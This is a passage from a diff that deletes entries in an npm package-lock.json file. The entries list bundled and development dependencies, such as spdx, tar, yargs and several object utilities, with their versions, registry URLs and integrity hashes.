}, - "dependencies": { - "from2": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/from2/-/from2-1.3.0.tgz", - "integrity": "sha1-iEE7qqX5pZfP3pIh2GmGzTwGHf0=", - "bundled": true, - "dev": true, - "requires": { - "inherits": "~2.0.1", - "readable-stream": "~1.1.10" - } - }, - "isarray": { - "version": "0.0.1", - "resolved": "https://registry.npmjs.org/isarray/-/isarray-0.0.1.tgz", - "integrity": "sha1-ihis/Kmo9Bd+Cav8YDiTmwXR7t8=", - "bundled": true, - "dev": true - }, - "readable-stream": { - "version": "1.1.14", - "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-1.1.14.tgz", - "integrity": "sha1-fPTFTvZI44EwhMY23SB54WbAgdk=", - "bundled": true, - "dev": true, - "requires": { - "core-util-is": "~1.0.0", - "inherits": "~2.0.1", - "isarray": "0.0.1", - "string_decoder": "~0.10.x" - } - }, - "string_decoder": { - "version": "0.10.31", - "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-0.10.31.tgz", - "integrity": "sha1-YuIDvEF2bGwoyfyEMB2rHFMQ+pQ=", - "bundled": true, - "dev": true - } - } - }, - "spdx-correct": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/spdx-correct/-/spdx-correct-3.0.0.tgz", - "integrity": "sha512-N19o9z5cEyc8yQQPukRCZ9EUmb4HUpnrmaL/fxS2pBo2jbfcFRVuFZ/oFC+vZz0MNNk0h80iMn5/S6qGZOL5+g==", - "bundled": true, - "dev": true, - "requires": { - "spdx-expression-parse": "^3.0.0", - "spdx-license-ids": "^3.0.0" - } - }, - "spdx-exceptions": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/spdx-exceptions/-/spdx-exceptions-2.1.0.tgz", - "integrity": "sha512-4K1NsmrlCU1JJgUrtgEeTVyfx8VaYea9J9LvARxhbHtVtohPs/gFGG5yy49beySjlIMhhXZ4QqujIZEfS4l6Cg==", - "bundled": true, - "dev": true - }, - "spdx-expression-parse": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/spdx-expression-parse/-/spdx-expression-parse-3.0.0.tgz", - "integrity": "sha512-Yg6D3XpRD4kkOmTpdgbUiEJFKghJH03fiC1OPll5h/0sO6neh2jqRDVHOQ4o/LMea0tgCkbMgea5ip/e+MkWyg==", - "bundled": true, - "dev": true, - "requires": { - "spdx-exceptions": "^2.1.0", - "spdx-license-ids": "^3.0.0" - } - }, - "spdx-license-ids": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/spdx-license-ids/-/spdx-license-ids-3.0.0.tgz", - "integrity": "sha512-2+EPwgbnmOIl8HjGBXXMd9NAu02vLjOO1nWw4kmeRDFyHn+M/ETfHxQUK0oXg8ctgVnl9t3rosNVsZ1jG61nDA==", - "bundled": true, - "dev": true - }, - "sshpk": { - "version": "1.14.2", - "resolved": "https://registry.npmjs.org/sshpk/-/sshpk-1.14.2.tgz", - "integrity": "sha1-xvxhZIo9nE52T9P8306hBeSSupg=", - "bundled": true, - "dev": true, - "requires": { - "asn1": "~0.2.3", - "assert-plus": "^1.0.0", - "bcrypt-pbkdf": "^1.0.0", - "dashdash": "^1.12.0", - "ecc-jsbn": "~0.1.1", - "getpass": "^0.1.1", - "jsbn": "~0.1.0", - "safer-buffer": "^2.0.2", - "tweetnacl": "~0.14.0" - }, - "dependencies": { - "assert-plus": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/assert-plus/-/assert-plus-1.0.0.tgz", - "integrity": "sha1-8S4PPF13sLHN2RRpQuTpbB5N1SU=", - "bundled": true, - "dev": true - } - } - }, - "ssri": { - "version": "6.0.0", - "resolved": "https://registry.npmjs.org/ssri/-/ssri-6.0.0.tgz", - "integrity": "sha512-zYOGfVHPhxyzwi8MdtdNyxv3IynWCIM4jYReR48lqu0VngxgH1c+C6CmipRdJ55eVByTJV/gboFEEI7TEQI8DA==", - "bundled": true, - "dev": true - }, - "stream-each": { - "version": "1.2.2", - "resolved": "https://registry.npmjs.org/stream-each/-/stream-each-1.2.2.tgz", - "integrity": "sha512-mc1dbFhGBxvTM3bIWmAAINbqiuAk9TATcfIQC8P+/+HJefgaiTlMn2dHvkX8qlI12KeYKSQ1Ua9RrIqrn1VPoA==", - "bundled": true, - "dev": true, - "requires": { - "end-of-stream": "^1.1.0", - "stream-shift": "^1.0.0" - } - }, - "stream-iterate": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/stream-iterate/-/stream-iterate-1.2.0.tgz", - "integrity": "sha1-K9fHcpbBcCpGSIuK1B95hl7s1OE=", - "bundled": true, - "dev": true, - "requires": { - "readable-stream": "^2.1.5", - "stream-shift": "^1.0.0" - } - }, - "stream-shift": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/stream-shift/-/stream-shift-1.0.0.tgz", - "integrity": "sha1-1cdSgl5TZ+eG944Y5EXqIjoVWVI=", - "bundled": true, - "dev": true - }, - "strict-uri-encode": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/strict-uri-encode/-/strict-uri-encode-2.0.0.tgz", - "integrity": "sha1-ucczDHBChi9rFC3CdLvMWGbONUY=", - "bundled": true, - "dev": true - }, - "string_decoder": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", - "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", - "bundled": true, - "dev": true, - "requires": { - "safe-buffer": "~5.1.0" - } - }, - "string-width": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/string-width/-/string-width-2.1.1.tgz", - "integrity": "sha512-nOqH59deCq9SRHlxq1Aw85Jnt4w6KvLKqWVik6oA9ZklXLNIOlqg4F2yrT1MVaTjAqvVwdfeZ7w7aCvJD7ugkw==", - "bundled": true, - "dev": true, - "requires": { - "is-fullwidth-code-point": "^2.0.0", - "strip-ansi": "^4.0.0" - }, - "dependencies": { - "ansi-regex": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-3.0.0.tgz", - "integrity": "sha1-7QMXwyIGT3lGbAKWa922Bas32Zg=", - "bundled": true, - "dev": true - }, - "is-fullwidth-code-point": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-2.0.0.tgz", - "integrity": "sha1-o7MKXE8ZkYMWeqq5O+764937ZU8=", - "bundled": true, - "dev": true - }, - "strip-ansi": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-4.0.0.tgz", - "integrity": "sha1-qEeQIusaw2iocTibY1JixQXuNo8=", - "bundled": true, - "dev": true, - "requires": { - "ansi-regex": "^3.0.0" - } - } - } - }, - "stringstream": { - "version": "0.0.6", - "resolved": "https://registry.npmjs.org/stringstream/-/stringstream-0.0.6.tgz", - "integrity": "sha512-87GEBAkegbBcweToUrdzf3eLhWNg06FJTebl4BVJz/JgWy8CvEr9dRtX5qWphiynMSQlxxi+QqN0z5T32SLlhA==", - "bundled": true, - "dev": true - }, - "strip-ansi": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-3.0.1.tgz", - "integrity": "sha1-ajhfuIU9lS1f8F0Oiq+UJ43GPc8=", - "bundled": true, - "dev": true, - "requires": { - "ansi-regex": "^2.0.0" - } - }, - "strip-eof": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/strip-eof/-/strip-eof-1.0.0.tgz", - "integrity": "sha1-u0P/VZim6wXYm1n80SnJgzE2Br8=", - "bundled": true, - "dev": true - }, - "strip-json-comments": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-2.0.1.tgz", - "integrity": "sha1-PFMZQukIwml8DsNEhYwobHygpgo=", - "bundled": true, - "dev": true - }, - "supports-color": { - "version": "5.4.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz", - "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", - "bundled": true, - "dev": true, - "requires": { - "has-flag": "^3.0.0" - } - }, - "tar": { - "version": "4.4.4", - "resolved": "https://registry.npmjs.org/tar/-/tar-4.4.4.tgz", - "integrity": "sha512-mq9ixIYfNF9SK0IS/h2HKMu8Q2iaCuhDDsZhdEag/FHv8fOaYld4vN7ouMgcSSt5WKZzPs8atclTcJm36OTh4w==", - "bundled": true, - "dev": true, - "requires": { - "chownr": "^1.0.1", - "fs-minipass": "^1.2.5", - "minipass": "^2.3.3", - "minizlib": "^1.1.0", - "mkdirp": "^0.5.0", - "safe-buffer": "^5.1.2", - "yallist": "^3.0.2" - }, - "dependencies": { - "yallist": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/yallist/-/yallist-3.0.2.tgz", - "integrity": "sha1-hFK0u36Dx8GI2AQcGoN8dz1ti7k=", - "bundled": true, - "dev": true - } - } - }, - "term-size": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/term-size/-/term-size-1.2.0.tgz", - "integrity": "sha1-RYuDiH8oj8Vtb/+/rSYuJmOO+mk=", - "bundled": true, - "dev": true, - "requires": { - "execa": "^0.7.0" - } - }, - "text-table": { - "version": "0.2.0", - "resolved": "https://registry.npmjs.org/text-table/-/text-table-0.2.0.tgz", - "integrity": "sha1-f17oI66AUgfACvLfSoTsP8+lcLQ=", - "bundled": true, - "dev": true - }, - "through": { - "version": "2.3.8", - "resolved": "https://registry.npmjs.org/through/-/through-2.3.8.tgz", - "integrity": "sha1-DdTJ/6q8NXlgsbckEV1+Doai4fU=", - "bundled": true, - "dev": true - }, - "through2": { - "version": "2.0.3", - "resolved": "https://registry.npmjs.org/through2/-/through2-2.0.3.tgz", - "integrity": "sha1-AARWmzfHx0ujnEPzzteNGtlBQL4=", - "bundled": true, - "dev": true, - "requires": { - "readable-stream": "^2.1.5", - "xtend": "~4.0.1" - } - }, - "timed-out": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/timed-out/-/timed-out-4.0.1.tgz", - "integrity": "sha1-8y6srFoXW+ol1/q1Zas+2HQe9W8=", - "bundled": true, - "dev": true - }, - "tiny-relative-date": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/tiny-relative-date/-/tiny-relative-date-1.3.0.tgz", - "integrity": "sha512-MOQHpzllWxDCHHaDno30hhLfbouoYlOI8YlMNtvKe1zXbjEVhbcEovQxvZrPvtiYW630GQDoMMarCnjfyfHA+A==", - "bundled": true, - "dev": true - }, - "tough-cookie": { - "version": "2.3.4", - "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-2.3.4.tgz", - "integrity": "sha512-TZ6TTfI5NtZnuyy/Kecv+CnoROnyXn2DN97LontgQpCwsX2XyLYCC0ENhYkehSOwAp8rTQKc/NUIF7BkQ5rKLA==", - "bundled": true, - "dev": true, - "requires": { - "punycode": "^1.4.1" - } - }, - "tunnel-agent": { - "version": "0.6.0", - "resolved": "https://registry.npmjs.org/tunnel-agent/-/tunnel-agent-0.6.0.tgz", - "integrity": "sha1-J6XeoGs2sEoKmWZ3SykIaPD8QP0=", - "bundled": true, - "dev": true, - "requires": { - "safe-buffer": "^5.0.1" - } - }, - "tweetnacl": { - "version": "0.14.5", - "resolved": "https://registry.npmjs.org/tweetnacl/-/tweetnacl-0.14.5.tgz", - "integrity": "sha1-WuaBd/GS1EViadEIr6k/+HQ/T2Q=", - "bundled": true, - "dev": true, - "optional": true - }, - "typedarray": { - "version": "0.0.6", - "resolved": "https://registry.npmjs.org/typedarray/-/typedarray-0.0.6.tgz", - "integrity": "sha1-hnrHTjhkGHsdPUfZlqeOxciDB3c=", - "bundled": true, - "dev": true - }, - "uid-number": { - "version": "0.0.6", - "resolved": "https://registry.npmjs.org/uid-number/-/uid-number-0.0.6.tgz", - "integrity": "sha1-DqEOgDXo61uOREnwbaHHMGY7qoE=", - "bundled": true, - "dev": true - }, - "umask": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/umask/-/umask-1.1.0.tgz", - "integrity": "sha1-8pzr8B31F5ErtY/5xOUP3o4zMg0=", - "bundled": true, - "dev": true - }, - "unique-filename": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/unique-filename/-/unique-filename-1.1.0.tgz", - "integrity": "sha1-0F8v5AMlYIcfMOk8vnNe6iAVFPM=", - "bundled": true, - "dev": true, - "requires": { - "unique-slug": "^2.0.0" - } - }, - "unique-slug": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/unique-slug/-/unique-slug-2.0.0.tgz", - "integrity": "sha1-22Z258fMBimHj/GWCXx4hVrp9Ks=", - "bundled": true, - "dev": true, - "requires": { - "imurmurhash": "^0.1.4" - } - }, - "unique-string": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/unique-string/-/unique-string-1.0.0.tgz", - "integrity": "sha1-nhBXzKhRq7kzmPizOuGHuZyuwRo=", - "bundled": true, - "dev": true, - "requires": { - "crypto-random-string": "^1.0.0" - } - }, - "unpipe": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/unpipe/-/unpipe-1.0.0.tgz", - "integrity": "sha1-sr9O6FFKrmFltIF4KdIbLvSZBOw=", - "bundled": true, - "dev": true - }, - "unzip-response": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/unzip-response/-/unzip-response-2.0.1.tgz", - "integrity": "sha1-0vD3N9FrBhXnKmk17QQhRXLVb5c=", - "bundled": true, - "dev": true - }, - "update-notifier": { - "version": "2.5.0", - "resolved": "https://registry.npmjs.org/update-notifier/-/update-notifier-2.5.0.tgz", - "integrity": "sha512-gwMdhgJHGuj/+wHJJs9e6PcCszpxR1b236igrOkUofGhqJuG+amlIKwApH1IW1WWl7ovZxsX49lMBWLxSdm5Dw==", - "bundled": true, - "dev": true, - "requires": { - "boxen": "^1.2.1", - "chalk": "^2.0.1", - "configstore": "^3.0.0", - "import-lazy": "^2.1.0", - "is-ci": "^1.0.10", - "is-installed-globally": "^0.1.0", - "is-npm": "^1.0.0", - "latest-version": "^3.0.0", - "semver-diff": "^2.0.0", - "xdg-basedir": "^3.0.0" - } - }, - "url-parse-lax": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/url-parse-lax/-/url-parse-lax-1.0.0.tgz", - "integrity": "sha1-evjzA2Rem9eaJy56FKxovAYJ2nM=", - "bundled": true, - "dev": true, - "requires": { - "prepend-http": "^1.0.1" - } - }, - "util-deprecate": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz", - "integrity": "sha1-RQ1Nyfpw3nMnYvvS1KKJgUGaDM8=", - "bundled": true, - "dev": true - }, - "util-extend": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/util-extend/-/util-extend-1.0.3.tgz", - "integrity": "sha1-p8IW0mdUUWljeztu3GypEZ4v+T8=", - "bundled": true, - "dev": true - }, - "uuid": { - "version": "3.3.2", - "resolved": "https://registry.npmjs.org/uuid/-/uuid-3.3.2.tgz", - "integrity": "sha512-yXJmeNaw3DnnKAOKJE51sL/ZaYfWJRl1pK9dr19YFCu0ObS231AB1/LbqTKRAQ5kw8A90rA6fr4riOUpTZvQZA==", - "bundled": true, - "dev": true - }, - "validate-npm-package-license": { - "version": "3.0.3", - "resolved": "https://registry.npmjs.org/validate-npm-package-license/-/validate-npm-package-license-3.0.3.tgz", - "integrity": "sha512-63ZOUnL4SIXj4L0NixR3L1lcjO38crAbgrTpl28t8jjrfuiOBL5Iygm+60qPs/KsZGzPNg6Smnc/oY16QTjF0g==", - "bundled": true, - "dev": true, - "requires": { - "spdx-correct": "^3.0.0", - "spdx-expression-parse": "^3.0.0" - } - }, - "validate-npm-package-name": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/validate-npm-package-name/-/validate-npm-package-name-3.0.0.tgz", - "integrity": "sha1-X6kS2B630MdK/BQN5zF/DKffQ34=", - "bundled": true, - "dev": true, - "requires": { - "builtins": "^1.0.3" - } - }, - "verror": { - "version": "1.10.0", - "resolved": "https://registry.npmjs.org/verror/-/verror-1.10.0.tgz", - "integrity": "sha1-OhBcoXBTr1XW4nDB+CiGguGNpAA=", - "bundled": true, - "dev": true, - "requires": { - "assert-plus": "^1.0.0", - "core-util-is": "1.0.2", - "extsprintf": "^1.2.0" - }, - "dependencies": { - "assert-plus": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/assert-plus/-/assert-plus-1.0.0.tgz", - "integrity": "sha1-8S4PPF13sLHN2RRpQuTpbB5N1SU=", - "bundled": true, - "dev": true - } - } - }, - "wcwidth": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/wcwidth/-/wcwidth-1.0.1.tgz", - "integrity": "sha1-8LDc+RW8X/FSivrbLA4XtTLaL+g=", - "bundled": true, - "dev": true, - "requires": { - "defaults": "^1.0.3" - } - }, - "which": { - "version": "1.3.1", - "resolved": "https://registry.npmjs.org/which/-/which-1.3.1.tgz", - "integrity": "sha512-HxJdYWq1MTIQbJ3nw0cqssHoTNU267KlrDuGZ1WYlxDStUtKUhOaJmh112/TZmHxxUfuJqPXSOm7tDyas0OSIQ==", - "bundled": true, - "dev": true, - "requires": { - "isexe": "^2.0.0" - } - }, - "which-module": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/which-module/-/which-module-2.0.0.tgz", - "integrity": "sha1-2e8H3Od7mQK4o6j6SzHD4/fm6Ho=", - "bundled": true, - "dev": true - }, - "wide-align": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/wide-align/-/wide-align-1.1.2.tgz", - "integrity": "sha512-ijDLlyQ7s6x1JgCLur53osjm/UXUYD9+0PbYKrBsYisYXzCxN+HC3mYDNy/dWdmf3AwqwU3CXwDCvsNgGK1S0w==", - "bundled": true, - "dev": true, - "requires": { - "string-width": "^1.0.2" - }, - "dependencies": { - "string-width": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/string-width/-/string-width-1.0.2.tgz", - "integrity": "sha1-EYvfW4zcUaKn5w0hHgfisLmxB9M=", - "bundled": true, - "dev": true, - "requires": { - "code-point-at": "^1.0.0", - "is-fullwidth-code-point": "^1.0.0", - "strip-ansi": "^3.0.0" - } - } - } - }, - "widest-line": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/widest-line/-/widest-line-2.0.0.tgz", - "integrity": "sha1-AUKk6KJD+IgsAjOqDgKBqnYVInM=", - "bundled": true, - "dev": true, - "requires": { - "string-width": "^2.1.1" - } - }, - "worker-farm": { - "version": "1.6.0", - "resolved": "https://registry.npmjs.org/worker-farm/-/worker-farm-1.6.0.tgz", - "integrity": "sha512-6w+3tHbM87WnSWnENBUvA2pxJPLhQUg5LKwUQHq3r+XPhIM+Gh2R5ycbwPCyuGbNg+lPgdcnQUhuC02kJCvffQ==", - "bundled": true, - "dev": true, - "requires": { - "errno": "~0.1.7" - } - }, - "wrap-ansi": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-2.1.0.tgz", - "integrity": "sha1-2Pw9KE3QV5T+hJc8rs3Rz4JP3YU=", - "bundled": true, - "dev": true, - "requires": { - "string-width": "^1.0.1", - "strip-ansi": "^3.0.1" - }, - "dependencies": { - "string-width": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/string-width/-/string-width-1.0.2.tgz", - "integrity": "sha1-EYvfW4zcUaKn5w0hHgfisLmxB9M=", - "bundled": true, - "dev": true, - "requires": { - "code-point-at": "^1.0.0", - "is-fullwidth-code-point": "^1.0.0", - "strip-ansi": "^3.0.0" - } - } - } - }, - "wrappy": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz", - "integrity": "sha1-tSQ9jz7BqjXxNkYFvA0QNuMKtp8=", - "bundled": true, - "dev": true - }, - "write-file-atomic": { - "version": "2.3.0", - "resolved": "https://registry.npmjs.org/write-file-atomic/-/write-file-atomic-2.3.0.tgz", - "integrity": "sha512-xuPeK4OdjWqtfi59ylvVL0Yn35SF3zgcAcv7rBPFHVaEapaDr4GdGgm3j7ckTwH9wHL7fGmgfAnb0+THrHb8tA==", - "bundled": true, - "dev": true, - "requires": { - "graceful-fs": "^4.1.11", - "imurmurhash": "^0.1.4", - "signal-exit": "^3.0.2" - } - }, - "xdg-basedir": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/xdg-basedir/-/xdg-basedir-3.0.0.tgz", - "integrity": "sha1-SWsswQnsqNus/i3HK2A8F8WHCtQ=", - "bundled": true, - "dev": true - }, - "xtend": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/xtend/-/xtend-4.0.1.tgz", - "integrity": "sha1-pcbVMr5lbiPbgg77lDofBJmNY68=", - "bundled": true, - "dev": true - }, - "y18n": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/y18n/-/y18n-4.0.0.tgz", - "integrity": "sha512-r9S/ZyXu/Xu9q1tYlpsLIsa3EeLXXk0VwlxqTcFRfg9EhMW+17kbt9G0NrgCmhGb5vT2hyhJZLfDGx+7+5Uj/w==", - "bundled": true, - "dev": true - }, - "yallist": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/yallist/-/yallist-2.1.2.tgz", - "integrity": "sha1-HBH5IY8HYImkfdUS+TxmmaaoHVI=", - "bundled": true, - "dev": true - }, - "yargs": { - "version": "11.0.0", - "resolved": "https://registry.npmjs.org/yargs/-/yargs-11.0.0.tgz", - "integrity": "sha512-Rjp+lMYQOWtgqojx1dEWorjCofi1YN7AoFvYV7b1gx/7dAAeuI4kN5SZiEvr0ZmsZTOpDRcCqrpI10L31tFkBw==", - "bundled": true, - "dev": true, - "requires": { - "cliui": "^4.0.0", - "decamelize": "^1.1.1", - "find-up": "^2.1.0", - "get-caller-file": "^1.0.1", - "os-locale": "^2.0.0", - "require-directory": "^2.1.1", - "require-main-filename": "^1.0.1", - "set-blocking": "^2.0.0", - "string-width": "^2.0.0", - "which-module": "^2.0.0", - "y18n": "^3.2.1", - "yargs-parser": "^9.0.2" - }, - "dependencies": { - "y18n": { - "version": "3.2.1", - "resolved": "https://registry.npmjs.org/y18n/-/y18n-3.2.1.tgz", - "integrity": "sha1-bRX7qITAhnnA136I53WegR4H+kE=", - "bundled": true, - "dev": true - } - } - }, - "yargs-parser": { - "version": "9.0.2", - "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-9.0.2.tgz", - "integrity": "sha1-nM9qQ0YP5O1Aqbto9I1DuKaMwHc=", - "bundled": true, - "dev": true, - "requires": { - "camelcase": "^4.1.0" - } - } - } - }, - "npm-run-path": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/npm-run-path/-/npm-run-path-2.0.2.tgz", - "integrity": "sha1-NakjLfo11wZ7TLLd8jV7GHFTbF8=", - "dev": true, - "requires": { - "path-key": "^2.0.0" - } - }, - "npmlog": { - "version": "4.1.2", - "resolved": "https://registry.npmjs.org/npmlog/-/npmlog-4.1.2.tgz", - "integrity": "sha1-CKfyqL9zRgR3mp76StXMcXq7lUs=", - "dev": true, - "requires": { - "are-we-there-yet": "~1.1.2", - "console-control-strings": "~1.1.0", - "gauge": "~2.7.3", - "set-blocking": "~2.0.0" - } - }, - "nprogress": { - "version": "0.2.0", - "resolved": "https://registry.npmjs.org/nprogress/-/nprogress-0.2.0.tgz", - "integrity": "sha1-y480xTIT2JVyP8urkH6UIq28r7E=" - }, - "nth-check": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/nth-check/-/nth-check-1.0.1.tgz", - "integrity": "sha1-mSms32KPwsQQmN6rgqxYDPFJquQ=", - "dev": true, - "requires": { - "boolbase": "~1.0.0" - } - }, - "num2fraction": { - "version": "1.2.2", - "resolved": "https://registry.npmjs.org/num2fraction/-/num2fraction-1.2.2.tgz", - "integrity": "sha1-b2gragJ6Tp3fpFZM0lidHU5mnt4=", - "dev": true - }, - "number-is-nan": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/number-is-nan/-/number-is-nan-1.0.1.tgz", - "integrity": "sha1-CXtgK1NCKlIsGvuHkDGDNpQaAR0=", - "dev": true - }, - "oauth-sign": { - "version": "0.8.2", - "resolved": "https://registry.npmjs.org/oauth-sign/-/oauth-sign-0.8.2.tgz", - "integrity": "sha1-Rqarfwrq2N6unsBWV4C31O/rnUM=", - "dev": true, - "optional": true - }, - "object-assign": { - "version": "4.1.1", - "resolved": "https://registry.npmjs.org/object-assign/-/object-assign-4.1.1.tgz", - "integrity": "sha1-IQmtx5ZYh8/AXLvUQsrIv7s2CGM=", - "dev": true - }, - "object-copy": { - "version": "0.1.0", - "resolved": "https://registry.npmjs.org/object-copy/-/object-copy-0.1.0.tgz", - "integrity": "sha1-fn2Fi3gb18mRpBupde04EnVOmYw=", - "dev": true, - "requires": { - "copy-descriptor": "^0.1.0", - "define-property": "^0.2.5", - "kind-of": "^3.0.3" - }, - "dependencies": { - "define-property": { - "version": "0.2.5", - "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz", - "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=", - "dev": true, - "requires": { - "is-descriptor": "^0.1.0" - } - } - } - }, - "object-hash": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/object-hash/-/object-hash-1.3.0.tgz", - "integrity": "sha512-05KzQ70lSeGSrZJQXE5wNDiTkBJDlUT/myi6RX9dVIvz7a7Qh4oH93BQdiPMn27nldYvVQCKMUaM83AfizZlsQ==", - "dev": true - }, - "object-keys": { - "version": "1.0.12", - "resolved": "https://registry.npmjs.org/object-keys/-/object-keys-1.0.12.tgz", - "integrity": "sha512-FTMyFUm2wBcGHnH2eXmz7tC6IwlqQZ6mVZ+6dm6vZ4IQIHjs6FdNsQBuKGPuUUUY6NfJw2PshC08Tn6LzLDOag==", - "dev": true - }, - "object-visit": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/object-visit/-/object-visit-1.0.1.tgz", - "integrity": "sha1-95xEk68MU3e1n+OdOV5BBC3QRbs=", - "dev": true, - "requires": { - "isobject": "^3.0.0" - }, - "dependencies": { - "isobject": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", - "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=", - "dev": true - } - } - }, - "object.assign": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/object.assign/-/object.assign-4.1.0.tgz", - "integrity": "sha512-exHJeq6kBKj58mqGyTQ9DFvrZC/eR6OwxzoM9YRoGBqrXYonaFyGiFMuc9VZrXf7DarreEwMpurG3dd+CNyW5w==", - "dev": true, - "requires": { - "define-properties": "^1.1.2", - "function-bind": "^1.1.1", - "has-symbols": "^1.0.0", - "object-keys": "^1.0.11" - } - }, - "object.getownpropertydescriptors": { - "version": "2.0.3", - "resolved": "https://registry.npmjs.org/object.getownpropertydescriptors/-/object.getownpropertydescriptors-2.0.3.tgz", - "integrity": "sha1-h1jIRvW0B62rDyNuCYbxSwUcqhY=", - "dev": true, - "requires": { - "define-properties": "^1.1.2", - "es-abstract": "^1.5.1" - } - }, - "object.omit": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/object.omit/-/object.omit-2.0.1.tgz", - "integrity": "sha1-Gpx0SCnznbuFjHbKNXmuKlTr0fo=", - "dev": true, - "requires": { - "for-own": "^0.1.4", - "is-extendable": "^0.1.1" - } - }, - "object.pick": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/object.pick/-/object.pick-1.3.0.tgz", - "integrity": "sha1-h6EKxMFpS9Lhy/U1kaZhQftd10c=", - "dev": true, - "requires": { - "isobject": "^3.0.1" - }, - "dependencies": { - "isobject": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", - "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=", - "dev": true - } - } - }, - "object.values": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/object.values/-/object.values-1.0.4.tgz", - "integrity": "sha1-5STaCbT2b/Bd9FdUbscqyZ8TBpo=", - "dev": true, - "requires": { - "define-properties": "^1.1.2", - "es-abstract": "^1.6.1", - "function-bind": "^1.1.0", - "has": "^1.0.1" - } - }, - "once": { - "version": "1.4.0", - "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz", - "integrity": "sha1-WDsap3WWHUsROsF9nFC6753Xa9E=", - "dev": true, - "requires": { - "wrappy": "1" - } - }, - "onetime": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/onetime/-/onetime-2.0.1.tgz", - "integrity": "sha1-BnQoIw/WdEOyeUsiu6UotoZ5YtQ=", - "dev": true, - "requires": { - "mimic-fn": "^1.0.0" - } - }, - "optimize-css-assets-webpack-plugin": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/optimize-css-assets-webpack-plugin/-/optimize-css-assets-webpack-plugin-5.0.0.tgz", - "integrity": "sha512-MXqrLyfiOOpwm+TOWjGskX+sIgu7qlW2oozkEKnS8Z+LWAkSK7Qf6PV9RGRfMd7GmRX3zW2A3oRo0+f23POcXQ==", - "dev": true, - "requires": { - "cssnano": "^4.0.2", - "last-call-webpack-plugin": "^3.0.0" - }, - "dependencies": { - "ansi-styles": { - "version": "3.2.1", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", - "integrity": 